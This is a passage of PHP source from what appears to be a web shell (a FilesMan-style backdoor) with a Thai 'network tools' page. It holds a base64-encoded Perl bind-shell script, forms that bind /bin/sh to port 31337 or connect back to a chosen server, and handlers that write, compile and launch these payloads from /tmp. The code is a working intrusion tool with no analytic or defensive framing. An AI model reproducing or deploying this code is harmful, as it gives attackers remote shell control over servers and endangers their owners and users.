1706 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";echo "<h1>เครื่องมือเครือข่าย</h1><div class=content>
1707 <form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>
1708 <span>Bind port to /bin/sh</span><br/>
1709 Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>
1710 </form>
1711 <form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>
1712 <span>Back-connect to</span><br/>
1713 Server: <input type='text' name='server' value=". $_SERVER['REMOTE_ADDR'] ."> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>
1714 </form><br>";
1715 if(isset($_POST['p1'])) {
1716 function cf($f,$t) {
1717 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1718 if($w) {
1719 @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
1720 @fclose($w);
1721 }
1722 }
1723 if($_POST['p1'] == 'bpc') {
1724 cf("/tmp/bp.c",$bind_port_c);
1725 $apple = ex("gcc -o /tmp/bp /tmp/bp.c");
1726 @unlink("/tmp/bp.c");
1727 $apple .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
1728 echo "<pre class=ml1>$apple".ex("ps aux | grep bp")."</pre>";
1729 }
1730 if($_POST['p1'] == 'bpp') {
1731 cf("/tmp/bp.pl",$bind_port_p);
1732 $apple = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
1733 echo "<pre class=ml1>$apple".ex("ps aux | grep bp.pl")."</pre>";
1734 }
1735 if($_POST['p1'] == 'bcc') {
1736 cf("/tmp/bc.c",$back_connect_c);
1737 $apple = ex("gcc -o /tmp/bc /tmp/bc.c");
1738 @unlink("/tmp/bc.c");
1739 $apple .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
1740 echo "<pre class=ml1>$apple".ex("ps aux | grep bc")."</pre>";
1741 }
1742 if($_POST['p1'] == 'bcp') {
1743 cf("/tmp/bc.pl",$back_connect_p);
1744 $apple = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
1745 echo "<pre class=ml1>$apple".ex("ps aux | grep bc.pl")."</pre>";
1746 }
1747 }
1748 echo '</div>';
1749 hardFooter();
1750}
1751if( empty($_POST['a']) )
1752 if(isset($_action) && function_exists('action' . $_action))
1753 $_POST['a'] = $_action;
1754 else
1755 $_POST['a'] = 'FilesMan';
1756if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1757 call_user_func('action' . $_POST['a']);
1758?>